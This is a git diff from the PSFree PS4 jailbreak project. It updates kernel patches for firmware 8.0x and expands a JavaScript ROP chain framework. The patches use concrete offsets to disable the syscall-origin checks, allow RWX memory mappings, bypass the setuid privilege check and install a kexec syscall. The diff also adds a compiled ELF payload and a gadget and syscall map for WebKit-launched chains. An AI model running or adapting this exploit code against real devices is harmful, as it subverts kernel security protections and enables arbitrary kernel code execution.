- // je target ; at 0x4c2, patch je to jmp
- // not_loaded:
- // test ecx, ecx, ; ecx = 0, always jump to target
- // je target
- // ...
- // target:
- // test byte [rbx + 0x469], 2
- // jne ...
+ // struct syscall_args sa; // initialized already
+ // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
+ // int is_invalid_syscall = 0
//
- // Following the target code path, you will at one point reach this:
- // lea rsi, [rbp + 0x78]
+ // // check the calling code if it looks like one of the syscall stubs at a
+ // // libkernel library and check if the syscall number correponds to the
+ // // proper stub
+ // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
+ // || sa.code != (u32)(code >> 0x10)
+ // ) {
+ // // patch this to " = 0" instead
+ // is_invalid_syscall = -1;
+ // }
+ write32(kbase, 0x390, 0);
+ // these code corresponds to the check that ensures that the caller's
+ // instruction pointer is inside the libkernel library's memory range
+ //
+ // // patch the check to always go to the "goto do_syscall;" line
+ // void *code = td->td_frame->tf_rip;
+ // if (libkernel->start <= code && code < libkernel->end
+ // && is_invalid_syscall == 0
+ // ) {
+ // goto do_syscall;
+ // }
+ //
+ // do_syscall:
+ // ...
+ // lea rsi, [rbp - 0x78]
// mov rdi, rbx
- // mov rax, qword [rbp + 0x80]
+ // mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
- write32(kbase, 0x490, 0);
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
@@ -68,36 +101,44 @@ u64 kpatch(u64 res, u64 *error) {
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
- // GPU R: 0x10, W: 0x20, X:, 0x40
+ // GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
- write8(kbase, 0xfd03a, 0x37);
- write8(kbase, 0xfd03d, 0x37);
+ // ref: https://cturt.github.io/ps4-2.html
+ write8(kbase, 0x16632A, 0x37);
+ write8(kbase, 0x16632D, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
- write32(kbase, 0x3ec68d, 0);
+ //
+ // this check is skipped after the patch
+ //
+ // if ((new_prot & current->max_protection) != new_prot) {
+ // vm_map_unlock(map);
+ // return (KERN_PROTECTION_FAILURE);
+ // }
+ write32(kbase, 0x00080B8B, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
- // mov r14, qword [rbp + 0xad0]
+ // mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
- // jb ... ; patch je to jmp
- write8(kbase, 0x31953f, 0xeb);
+ // jb ... ; patch jb to jmp
+ write8(kbase, 0x23B67F, 0xeb);
// patch called function to always return 0
//
- // sys_dynlib_dlysm:
+ // sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
- // call patched_function ; kernel_base + 0x951c0
+ // call patched_function ; kernel_base + 0x221b40
// test eax, eax
// je ...
- // mov rax, qword [rbp + 0xad8]
+ // mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
- write32(kbase, 0x951c0, 0xC3C03148);
+ write32(kbase, 0x221b40, 0xC3C03148);
// patch sys_setuid() to allow freely changing the effective user ID
@@ -105,7 +146,7 @@ u64 kpatch(u64 res, u64 *error) {
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
- write8(kbase, 0x34d696, 0xeb);
+ write8(kbase, 0x1A06, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -116,13 +157,14 @@ u64 kpatch(u64 res, u64 *error) {
// u64 rcx;
// u64 r8;
// u64 r9;
- // }
+ // };
//
- // jumps to uap->rdi
- // u32 sys_kexec(struct thread td, struct args *uap)
+ // int sys_kexec(struct thread td, struct args *uap) {
+ // asm("jmp qword ptr [rsi]");
+ // }
// sysent[11]
- const size_t offset_sysent_11 = 0x10fc6e0;
+ const size_t offset_sysent_11 = 0x1100520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
@@ -130,15 +172,5 @@ u64 kpatch(u64 res, u64 *error) {
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
- // restore socketops.fo_chmod
- // it was used initially to perform kernel code execution
- write64(kbase, 0x1a76060, kbase + 0x3d0a60);
-
enable_cr0_wp();
-
- if (error != NULL) {
- *error = 0;
- }
-end:
- return res;
}
diff --git a/kpatch/80x.d b/kpatch/80x.d
new file mode 100644
index 0000000..fc6d58d
--- /dev/null
+++ b/kpatch/80x.d
@@ -0,0 +1 @@
+80x.o 80x.d : 80x.c types.h utils.h
diff --git a/kernel/exfathax_pico.img b/kpatch/80x.elf
similarity index 62%
rename from kernel/exfathax_pico.img
rename to kpatch/80x.elf
index a7f9eea86426dcecbba414249890c35ddcea1dba..6b76818f1d0fbc50b84bf604a7c1f627eb2f777d 100644
GIT binary patch
literal 5216
zcmeHLO=uHQ5S~riBt=cuQY09W*jDfdL+r&CMItoq1M6SJDk!XJk`j6RAJ?hPir3DW$f$X*31wj-Fy;$nWL)V#?_sAM@D0q`MkoV1-`DWj|Z}*Z}PR~sF
zG!3Nr;3~-700vVcu{J0f6dMOWu0aTJZa<~;PM+$>2+QJO5+(2U4=dk?`TS90A|j9Y
z5=VIyKq7I;?qFS@?H*|Lv~?i9A}Ixw0!jg;fKosypcGIFCBA=FSoOZnR?R4@Y_aOC5Ig%hvaXkhG`3RL*u>9gyR14L
zWeybpx^dz1+Rc{$^~f0e^etYgvw;R%eU;jG-AKI7PP^{D8yT)UcFoUgVcxMn;Gg_j
z4V_KywCo1rPRl-*I|i3p_5}jRt{w{Uik7{+J_0+Aor(`o&GzXqBv5;i0j;EKvBSYo4aqb=IDx-k*!UH}
zp;(gQuIs)Nu_)ps{@x>x_>d0kE56w<^{U1Em)DR>H+_To@91wJenh0_ZXr@hFQb0@
zV7F(!SDaoS;B-dLQTP@YR0am|$`24}&LaCB5pn97;_{B?MI3?0`JHGpo-8GDU>MUk
z?-^-kOl7X!NE>W21NlYcY1YaW!7MCUi)I0yw6~C0dcI&~=MXKkjYa8Mg^~q{LeZEv
zvkQfeXB6`$9ro`Q!$**Y-kA~IQ_i70qc4hbE_cLoO2m9(AHs)GeMro$9*MYw_O~f_
z0Hh9;Jw4O6(bwQBDPwR8dV0wbW5h1C2D%Obe~F
z5u=?BI_aXD9(w7cp8*CLVwe#|8DpFYCYfTI8D^Pdo&^?JVwpHAtg^;B8ze}QVv{Yl
z*0&Jb@$SFrmK?nxnIDF+VtGfr?Y_FJyhS>GPp{Fpki?XX;Dqqcowhezs`S>wf*E%R#^K&^(t
zt|K(fJ>&;X^JeBE+-{l^#4NMgA9SiU&Gqf;aA29K;Spf*dZTIfTta`#l)EER5Be~3
z@8?1YSmo0gB9=LWPkMi9U=VN=*nrdMb5=Rtr=+a%%i%kuylg;va`K)$HoI8L86`O$
zSCUF>B3^RT_`5_xi6zH5Oaa&}MDTRuNk5r|0KPt9V!T5r6G?BMfmDu2!vnp+8a6~R
zmmLehea;Dsarq19D(QnkjJ9(&ohwjA6N(OYTXykPbmh$rj)yS;CYKuW1ccVy}}P!~Zd8hVSb2+7dO1}ICap@OnlEP|qIZ&Za)bXIk=
zW%AjqmO~+zH#7zBe*z7eRj$9vm6U>>FKD{4#)Gw$`DIcLeiA*vLpg;XVMLF3A13M(Drb7a!wbx$W5!yz&15wphWW
literal 0
HcmV?d00001
diff --git a/kpatch/Makefile b/kpatch/Makefile
index 72c4eda..c6cb539 100644
--- a/kpatch/Makefile
+++ b/kpatch/Makefile
@@ -1,15 +1,15 @@
TARGET = 80x
ENTRY = 0x900000000
+src = $(TARGET).c
CC = gcc
+CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
+CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none
+CFLAGS += -fwrapv-pointer -std=gnu11
.PHONY: all
all: $(TARGET).elf
-CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
-CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none
-CFLAGS += -fwrapv-pointer
-
$(TARGET).elf: $(TARGET).o
$(CC) $(TARGET).o -o $(TARGET).elf $(CFLAGS)
@@ -24,6 +24,4 @@ clean:
sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
rm -f $@.$$$$;
-src = $(TARGET).c
-
include $(src:.c=.d)
diff --git a/kpatch/utils.h b/kpatch/utils.h
index 7cb303e..0c06168 100644
--- a/kpatch/utils.h
+++ b/kpatch/utils.h
@@ -24,7 +24,7 @@ along with this program. If not, see . */
inline u64 rdmsr(u32 msr) {
u32 low, high;
- __asm __volatile("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
+ asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
return (low | ((u64)high << 32));
}
diff --git a/module/chain.mjs b/module/chain.mjs
index 794371a..c77e399 100644
--- a/module/chain.mjs
+++ b/module/chain.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
@@ -15,46 +15,82 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see . */
-import { Int } from './int64.mjs';
+import { Int, lohi_from_one } from './int64.mjs';
import { get_view_vector } from './memtools.mjs';
-import { Addr, mem } from './mem.mjs';
+import { Addr } from './mem.mjs';
-import {
- read64,
- write64,
-} from './rw.mjs';
-
-import * as o from './offset.mjs';
+import * as config from '/config.mjs';
// put the sycall names that you want to use here
export const syscall_map = new Map(Object.entries({
- 'close': 6,
+ 'read' : 3,
+ 'write' : 4,
+ 'open' : 5,
+ 'close' : 6,
+ 'getpid' : 20,
'setuid' : 23,
'getuid' : 24,
- 'mprotect': 74,
+ 'accept' : 30,
+ 'pipe' : 42,
+ 'ioctl' : 54,
+ 'munmap' : 73,
+ 'mprotect' : 74,
+ 'fcntl' : 92,
'socket' : 97,
+ 'connect' : 98,
+ 'bind' : 104,
+ 'setsockopt' : 105,
+ 'listen' : 106,
+ 'getsockopt' : 118,
'fchmod' : 124,
+ 'socketpair' : 135,
+ 'fstat' : 189,
+ 'getdirentries' : 196,
+ '__sysctl' : 202,
'mlock' : 203,
+ 'clock_gettime' : 232,
+ 'nanosleep' : 240,
+ 'sched_yield' : 331,
'kqueue' : 362,
'kevent' : 363,
+ 'rtprio_thread' : 466,
'mmap' : 477,
- // for JIT shared memory
+ 'ftruncate' : 480,
+ 'shm_open' : 482,
+ 'cpuset_getaffinity' : 487,
+ 'cpuset_setaffinity' : 488,
'jitshm_create' : 533,
'jitshm_alias' : 534,
+ 'evf_create' : 538,
+ 'evf_delete' : 539,
+ 'evf_set' : 544,
+ 'evf_clear' : 545,
+ 'set_vm_container' : 559,
+ 'dmem_container' : 586,
+ 'dynlib_dlsym' : 591,
+ 'dynlib_get_list' : 592,
+ 'dynlib_get_info' : 593,
+ 'dynlib_load_prx' : 594,
+ 'randomized_path' : 602,
+ 'budget_get_ptype' : 610,
+ 'thr_suspend_ucontext' : 632,
+ 'thr_resume_ucontext' : 633,
+ 'blockpool_open' : 653,
+ 'blockpool_map' : 654,
+ 'blockpool_unmap' : 655,
+ 'blockpool_batch' : 657,
+ // syscall 661 is unimplemented so free for use. a kernel exploit will
+ // install "kexec" here
+ 'aio_submit' : 661,
+ 'kexec' : 661,
+ 'aio_multi_delete' : 662,
+ 'aio_multi_wait' : 663,
+ 'aio_multi_poll' : 664,
+ 'aio_multi_cancel' : 666,
+ 'aio_submit_cmd' : 669,
+ 'blockpool_move' : 673,
}));
-// Extra space to allow a ROP chain to push temporary values. It must pop all
-// of it before reaching a "ret" instruction, else the instruction will pop one
-// of the temporaries as its return address.
-//
-// Also space for additional frames when we call a function since we do not
-// pivot the call to another stack (the called function's stack pointer is
-// pointing to our ROP stack as well).
-const upper_pad = 0x10000;
-// maximum size of the ROP stack
-const stack_size = 0x10000;
-const total_size = upper_pad + stack_size;
-
const argument_pops = [
'pop rdi; ret',
'pop rsi; ret',
@@ -64,49 +100,190 @@ const argument_pops = [
'pop r9; ret',
];
+// implementations are expected to have these gadgets:
+// * libSceLibcInternal:
+// * __errno - FreeBSD's function to get the location of errno
+// * setcontext - what we call Sony's own version of _Ux86_64_setcontext
+// * getcontext - what we call Sony's own version of _Ux86_64_getcontext
+// * anywhere:
+// * the gadgets at argument_pops
+// * ret
+//
+// setcontext/getcontext naming came from this project:
+// https://github.com/libunwind/libunwind
+//
+// setcontext(context *ctx):
+// mov rax, qword [rdi + 0x38]
+// sub rax, 0x10 ; 16
+// mov qword [rdi + 0x38], rax
+// mov rbx, qword [rdi + 0x20]
+// mov qword [rax], rbx
+// mov rbx, qword [rdi + 0x80]
+// mov qword [rax + 8], rbx
+// mov rax, qword [rdi]
+// mov rbx, qword [rdi + 8]
+// mov rcx, qword [rdi + 0x10]
+// mov rdx, qword [rdi + 0x18]
+// mov rsi, qword [rdi + 0x28]
+// mov rbp, qword [rdi + 0x30]
+// mov r8, qword [rdi + 0x40]
+// mov r9, qword [rdi + 0x48]
+// mov r10, qword [rdi + 0x50]
+// mov r11, qword [rdi + 0x58]
+// mov r12, qword [rdi + 0x60]
+// mov r13, qword [rdi + 0x68]
+// mov r14, qword [rdi + 0x70]
+// mov r15, qword [rdi + 0x78]
+// cmp qword [rdi + 0xb0], 0x20001
+// jne done
+// cmp qword [rdi + 0xb8], 0x10002
+// jne done
+// fxrstor [rdi + 0xc0]
+// done:
+// mov rsp, qword [rdi + 0x38]
+// pop rdi
+// ret
+//
+// getcontext(context *ctx):
+// mov qword [rdi], rax
+// mov qword [rdi + 8], rbx
+// mov qword [rdi + 0x10], rcx
+// mov qword [rdi + 0x18], rdx
+// mov qword [rdi + 0x20], rdi
+// mov qword [rdi + 0x28], rsi
+// mov qword [rdi + 0x30], rbp
+// mov qword [rdi + 0x38], rsp
+// add qword [rdi + 0x38], 8
+// mov qword [rdi + 0x40], r8
+// mov qword [rdi + 0x48], r9
+// mov qword [rdi + 0x50], r10
+// mov qword [rdi + 0x58], r11
+// mov qword [rdi + 0x60], r12
+// mov qword [rdi + 0x68], r13
+// mov qword [rdi + 0x70], r14
+// mov qword [rdi + 0x78], r15
+// mov rsi, qword [rsp]
+// mov qword [rdi + 0x80], rsi
+// fxsave [rdi + 0xc0]
+// mov qword [rdi + 0xb0], 0x20001
+// mov qword [rdi + 0xb8], 0x10002
+// xor eax, eax
+// ret
+
+// ROP chain manager base class
+//
+// Args:
+// stack_size: the size of the stack
+// upper_pad: the amount of extra space above stack
export class ChainBase {
- constructor() {
- this.is_stale = false;
+ constructor(stack_size=0x1000, upper_pad=0x10000) {
+ this._is_dirty = false;
this.position = 0;
- this._return_value = new Uint8Array(8);
- this.retval_addr = get_view_vector(this._return_value);
- const stack_buffer = new ArrayBuffer(total_size);
- this.stack_buffer = stack_buffer;
- this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size);
- this.stack_addr = get_view_vector(this.stack);
+ const return_value = new Uint32Array(4);
+ this._return_value = return_value;
+ this.retval_addr = get_view_vector(return_value);
+
+ const errno = new Uint32Array(1);
+ this._errno = errno;
+ this.errno_addr = get_view_vector(errno);
+
+ const full_stack_size = upper_pad + stack_size;
+ const stack_buffer = new ArrayBuffer(full_stack_size);
+ const stack = new DataView(stack_buffer, upper_pad);
+ this.stack = stack;
+ this.stack_addr = get_view_vector(stack);
+ this.stack_size = stack_size;
+ this.full_stack_size = full_stack_size;
}
- check_stale() {
- if (this.is_stale) {
- throw Error('chain already ran, clean it first');
- }
- this.is_stale = true;
+ // use this if you want to write a new ROP chain but don't want to allocate
+ // a new instance
+ empty() {
+ this.position = 0;
}
- check_is_empty() {
- if (this.position === 0) {
- throw Error('chain is empty');
- }
+ // flag indicating whether .run() was ever called with this chain
+ get is_dirty() {
+ return this._is_dirty;
}
clean() {
- this.position = 0;
- this.is_stale = false;
+ this._is_dirty = false;
+ }
+
+ dirty() {
+ this._is_dirty = true;
+ }
+
+ check_allow_run() {
+ if (this.position === 0) {
+ throw Error('chain is empty');
+ }
+ if (this.is_dirty) {
+ throw Error('chain already ran, clean it first');
+ }
+ }
+
+ reset() {
+ this.empty();
+ this.clean();
+ }
+
+ get retval_int() {
+ return this._return_value[0] | 0;
+ }
+
+ get retval() {
+ return new Int(this._return_value[0], this._return_value[1]);
+ }
+
+ // return value as a pointer
+ get retval_ptr() {
+ return new Addr(this._return_value[0], this._return_value[1]);
+ }
+
+ set retval(value) {
+ const values = lohi_from_one(value);
+ const retval = this._return_value;
+ retval[0] = values[0];
+ retval[1] = values[1];
+ }
+
+ get retval_all() {
+ const retval = this._return_value;
+ return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])];
+ }
+
+ set retval_all(values) {
+ const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])];
+ const retval = this._return_value;
+ retval[0] = a[0];
+ retval[1] = a[1];
+ retval[2] = b[0];
+ retval[3] = b[1];
+ }
+
+ get errno() {
+ return this._errno[0];
+ }
+
+ set errno(value) {
+ this._errno[0] = value;
}
- // this will raise an error if the value is not an Int
push_value(value) {
- if (this.position >= stack_size) {
+ const position = this.position;
+ if (position >= this.stack_size) {
throw Error(`no more space on the stack, pushed value: ${value}`);
}
- write64(this.stack, this.position, value);
- this.position += 8;
- }
- // converts value to Int first
- push_constant(value) {
- this.push_value(new Int(value));
+ const values = lohi_from_one(value);
+ const stack = this.stack;
+ stack.setUint32(position, values[0], true);
+ stack.setUint32(position + 4, values[1], true);
+
+ this.position += 8;
}
get_gadget(insn_str) {
@@ -125,14 +302,13 @@ export class ChainBase {
push_call(func_addr, ...args) {
if (args.length > 6) {
throw TypeError(
- 'call() does not support functions that have more than 6'
- + ' arguments'
- );
+ 'push_call() does not support functions that have more than 6'
+ + ' arguments');
}
for (let i = 0; i < args.length; i++) {
this.push_gadget(argument_pops[i]);
- this.push_constant(args[i]);
+ this.push_value(args[i]);
}
// The address of our buffer seems to be always aligned to 8 bytes.
@@ -143,7 +319,11 @@ export class ChainBase {
this.push_gadget('ret');
}
- this.push_value(func_addr);
+ if (typeof func_addr === 'string') {
+ this.push_gadget(func_addr);
+ } else {
+ this.push_value(func_addr);
+ }
}
push_syscall(syscall_name, ...args) {
@@ -164,43 +344,239 @@ export class ChainBase {
this.push_call(syscall_addr, ...args);
}
- // ROP chain to retrieve rax
- push_get_retval() {
- throw Error('push_get_retval() not implemented');
- }
-
- // Firmware specific method to launch a ROP chain
- //
- // Implementations must call check_stale() and check_is_empty() before
- // trying to launch the chain.
- run() {
- throw Error('run() not implemented');
- }
-
- get return_value() {
- return read64(this._return_value, 0);
- }
-
// Sets needed class properties
//
// Args:
// gadgets:
- // A Map-like object mapping instruction strings (e.g "pop rax; ret")
+ // A Map-like object mapping instruction strings (e.g. "pop rax; ret")
// to their addresses in memory.
// syscall_array:
// An array whose indices correspond to syscall numbers. Maps syscall
// numbers to their addresses in memory. Defaults to an empty Array.
- //
- // Raises:
- // Error:
- // For missing bare minimum gadgets
static init_class(gadgets, syscall_array=[]) {
- for (const insn of argument_pops) {
- if (!gadgets.has(insn)) {
- throw Error(`gadget map must contain this gadget: ${insn}`);
- }
- }
this.prototype.gadgets = gadgets;
this.prototype.syscall_array = syscall_array;
}
+
+ // START: implementation-dependent parts
+ //
+ // the user doesn't need to implement all of these. just the ones they need
+
+ // Firmware specific method to launch a ROP chain
+ //
+ // Proper implementations will check if .position is nonzero before
+ // running. Implementations can optionally check .is_dirty to enforce
+ // single-run gadget sequences
+ run() {
+ throw Error('not implemented');
+ }
+
+ // anything you need to do before the ROP chain jumps back to JavaScript
+ push_end() {
+ throw Error('not implemented');
+ }
+
+ push_get_errno() {
+ throw Error('not implemented');
+ }
+
+ push_clear_errno() {
+ throw Error('not implemented');
+ }
+
+ // get the rax register
+ push_get_retval() {
+ throw Error('not implemented');
+ }
+
+ // get the rax and rdx registers
+ push_get_retval_all() {
+ throw Error('not implemented');
+ }
+
+ // END: implementation-dependent parts
+
+ // note that later firmwares (starting around > 5.00?), the browser doesn't
+ // have a JIT compiler. we programmed in a way that tries to make the
+ // resulting bytecode be optimal
+ //
+ // we intentionally have an incomplete set (there's no function to get a
+ // full 128-bit result). we only implemented what we think are the common
+ // cases. the user will have to implement those other functions if they
+ // need it
+
+ do_call(...args) {
+ if (this.position) {
+ throw Error('chain not empty');
+ }
+ try {
+ this.push_call(...args);
+ this.push_get_retval();
+ this.push_get_errno();
+ this.push_end();
+ this.run();
+ } finally {
+ this.reset();
+ }
+ }
+
+ call_void(...args) {
+ this.do_call(...args);
+ }
+
+ call_int(...args) {
+ this.do_call(...args);
+ // x | 0 will always be a signed integer
+ return this._return_value[0] | 0;
+ }
+
+ call(...args) {
+ this.do_call(...args);
+ const retval = this._return_value;
+ return new Int(retval[0], retval[1]);
+ }
+
+ do_syscall(...args) {
+ if (this.position) {
+ throw Error('chain not empty');
+ }
+ try {
+ this.push_syscall(...args);
+ this.push_get_retval();
+ this.push_get_errno();
+ this.push_end();
+ this.run();
+ } finally {
+ this.reset();
+ }
+ }
+
+ syscall_void(...args) {
+ this.do_syscall(...args);
+ }
+
+ syscall_int(...args) {
+ this.do_syscall(...args);
+ // x | 0 will always be a signed integer
+ return this._return_value[0] | 0;
+ }
+
+ syscall(...args) {
+ this.do_syscall(...args);
+ const retval = this._return_value;
+ return new Int(retval[0], retval[1]);
+ }
+
+ syscall_ptr(...args) {
+ this.do_syscall(...args);
+ const retval = this._return_value;
+ return new Addr(retval[0], retval[1]);
+ }
+
+ // syscall variants that throw an error on errno
+
+ do_syscall_clear_errno(...args) {
+ if (this.position) {
+ throw Error('chain not empty');
+ }
+ try {
+ this.push_clear_errno();
+ this.push_syscall(...args);
+ this.push_get_retval();
+ this.push_get_errno();
+ this.push_end();
+ this.run();
+ } finally {
+ this.reset();
+ }
+ }
+
+ sysi(...args) {
+ const errno = this._errno;
+ this.do_syscall_clear_errno(...args);
+
+ const err = errno[0];
+ if (err !== 0) {
+ throw Error(`syscall(${args[0]}) errno: ${err}`);
+ }
+
+ // x | 0 will always be a signed integer
+ return this._return_value[0] | 0;
+ }
+
+ sys(...args) {
+ const errno = this._errno;
+ this.do_syscall_clear_errno(...args);
+
+ const err = errno[0];
+ if (err !== 0) {
+ throw Error(`syscall(${args[0]}) errno: ${err}`);
+ }
+
+ const retval = this._return_value;
+ return new Int(retval[0], retval[1]);
+ }
+
+ sysp(...args) {
+ const errno = this._errno;
+ this.do_syscall_clear_errno(...args);
+
+ const err = errno[0];
+ if (err !== 0) {
+ throw Error(`syscall(${args[0]}) errno: ${err}`);
+ }
+
+ const retval = this._return_value;
+ return new Addr(retval[0], retval[1]);
+ }
+
+}
+
+export function get_gadget(map, insn_str) {
+ const addr = map.get(insn_str);
+ if (addr === undefined) {
+ throw Error(`gadget not found: ${insn_str}`);
+ }
+
+ return addr;
+}
+
+function load_fw_specific(version) {
+ if (version & 0x10000) {
+ throw RangeError('ps5 not supported yet');
+ }
+
+ const value = version & 0xffff;
+ // we don't want to bother with very old firmwares that don't support
+ // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
+ // which can be annoying to deal with
+ if (value < 0x700) {
+ throw RangeError("PS4 firmwares < 7.00 isn't supported");
+ }
+
+ if (0x800 <= value && value <= 0x900) {
+ return import('/rop/900.mjs');
+ }
+
+ throw RangeError('firmware not supported');
+}
+
+export let gadgets = null;
+export let libwebkit_base = null;
+export let libkernel_base = null;
+export let libc_base = null;
+export let init_gadget_map = null;
+export let Chain = null;
+
+export async function init() {
+ const module = await load_fw_specific(config.target);
+ Chain = module.Chain;
+ module.init(Chain);
+ ({
+ gadgets,
+ libwebkit_base,
+ libkernel_base,
+ libc_base,
+ init_gadget_map,
+ } = module);
}
diff --git a/module/int64.mjs b/module/int64.mjs
index 5e9864e..248872e 100644
--- a/module/int64.mjs
+++ b/module/int64.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
@@ -15,184 +15,119 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see . */
-function check_range(x) {
- return (-0x80000000 <= x) && (x <= 0xffffffff);
+// cache some constants
+const isInteger = Number.isInteger;
+
+function check_not_in_range(x) {
+ return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff);
}
-function unhexlify(hexstr) {
- if (hexstr.substring(0, 2) === "0x") {
- hexstr = hexstr.substring(2);
- }
- if (hexstr.length % 2 === 1) {
- hexstr = '0' + hexstr;
- }
- if (hexstr.length % 2 === 1) {
- throw TypeError("Invalid hex string");
+// use this if you want to support objects convertible to Int but only need
+// their low/high bits. creating a Int is slower compared to just using this
+// function
+export function lohi_from_one(low) {
+ if (low instanceof Int) {
+ return low._u32.slice();
}
- let bytes = new Uint8Array(hexstr.length / 2);
- for (let i = 0; i < hexstr.length; i += 2) {
- let new_i = hexstr.length - 2 - i;
- let substr = hexstr.slice(new_i, new_i + 2);
- bytes[i / 2] = parseInt(substr, 16);
+ if (check_not_in_range(low)) {
+ throw TypeError(`low not a 32-bit integer: ${low}`);
}
- return bytes;
-}
-
-// Decorator for Int instance operations. Takes care
-// of converting arguments to Int instances if required.
-function operation(f, nargs) {
- return function () {
- if (arguments.length !== nargs)
- throw Error("Not enough arguments for function " + f.name);
- let new_args = [];
- for (let i = 0; i < arguments.length; i++) {
- if (!(arguments[i] instanceof Int)) {
- new_args[i] = new Int(arguments[i]);
- } else {
- new_args[i] = arguments[i];
- }
- }
- return f.apply(this, new_args);
- };
+ return [low >>> 0, low < 0 ? -1 >>> 0 : 0];
}
+// immutable 64-bit integer
export class Int {
constructor(low, high) {
- let buffer = new Uint32Array(2);
- let bytes = new Uint8Array(buffer.buffer);
-
- if (arguments.length > 2) {
- throw TypeError('Int takes at most 2 args');
- }
- if (arguments.length === 0) {
- throw TypeError('Int takes at min 1 args');
- }
- let is_one = false;
- if (arguments.length === 1) {
- is_one = true;
+ if (high === undefined) {
+ this._u32 = new Uint32Array(lohi_from_one(low));
+ return;
}
- if (!is_one) {
- if (typeof (low) !== 'number'
- && typeof (high) !== 'number') {
- throw TypeError('low/high must be numbers');
- }
+ if (check_not_in_range(low)) {
+ throw TypeError(`low not a 32-bit integer: ${low}`);
}
- if (typeof low === 'number') {
- if (!check_range(low)) {
- throw TypeError('low not a valid value: ' + low);
- }
- if (is_one) {
- high = 0;
- if (low < 0) {
- high = -1;
- }
- } else {
- if (!check_range(high)) {
- throw TypeError('high not a valid value: ' + high);
- }
- }
- buffer[0] = low;
- buffer[1] = high;
- } else if (typeof low === 'string') {
- bytes.set(unhexlify(low));
- } else if (typeof low === 'object') {
- if (low instanceof Int) {
- bytes.set(low.bytes);
- } else {
- if (low.length !== 8)
- throw TypeError("Array must have exactly 8 elements.");
- bytes.set(low);
- }
- } else {
- throw TypeError('Int does not support your object for conversion');
+ if (check_not_in_range(high)) {
+ throw TypeError(`high not a 32-bit integer: ${high}`);
}
- this.buffer = buffer;
- this.bytes = bytes;
-
- this.eq = operation(function eq(b) {
- const a = this;
- return a.low() === b.low() && a.high() === b.high();
- }, 1);
-
- this.neg = operation(function neg() {
- let type = this.constructor;
-
- let low = ~this.low();
- let high = ~this.high();
-
- let res = (new Int(low, high)).add(1);
-
- return new type(res);
- }, 0);
-
- this.add = operation(function add(b) {
- let type = this.constructor;
-
- let low = this.low();
- let high = this.high();
-
- low += b.low();
- let carry = 0;
- if (low > 0xffffffff) {
- carry = 1;
- }
- high += carry + b.high();
-
- low &= 0xffffffff;
- high &= 0xffffffff;
-
- return new type(low, high);
- }, 1);
-
- this.sub = operation(function sub(b) {
- let type = this.constructor;
-
- b = b.neg();
-
- let low = this.low();
- let high = this.high();
-
- low += b.low();
- let carry = 0;
- if (low > 0xffffffff) {
- carry = 1;
- }
- high += carry + b.high();
-
- low &= 0xffffffff;
- high &= 0xffffffff;
-
- return new type(low, high);
- }, 1);
+ this._u32 = new Uint32Array([low, high]);
}
- low() {
- return this.buffer[0];
+ get lo() {
+ return this._u32[0];
}
- high() {
- return this.buffer[1];
+ get hi() {
+ return this._u32[1];
}
- toString(is_pretty) {
+ // return low/high as signed integers
+
+ get bot() {
+ return this._u32[0] | 0;
+ }
+
+ get top() {
+ return this._u32[1] | 0;
+ }
+
+ neg() {
+ const u32 = this._u32;
+ const low = (~u32[0] >>> 0) + 1;
+ return new this.constructor(
+ low >>> 0,
+ ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0,
+ );
+ }
+
+ eq(b) {
+ const values = lohi_from_one(b);
+ const u32 = this._u32;
+ return (
+ u32[0] === values[0]
+ && u32[1] === values[1]
+ );
+ }
+
+ ne(b) {
+ return !this.eq(b);
+ }
+
+ add(b) {
+ const values = lohi_from_one(b);
+ const u32 = this._u32;
+ const low = u32[0] + values[0];
+ return new this.constructor(
+ low >>> 0,
+ (u32[1] + values[1] + (low > 0xffffffff)) >>> 0,
+ );
+ }
+
+ sub(b) {
+ const values = lohi_from_one(b);
+ const u32 = this._u32;
+ const low = u32[0] + (~values[0] >>> 0) + 1;
+ return new this.constructor(
+ low >>> 0,
+ (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0,
+ );
+ }
+
+ toString(is_pretty=false) {
if (!is_pretty) {
- let low = this.low().toString(16).padStart(8, '0');
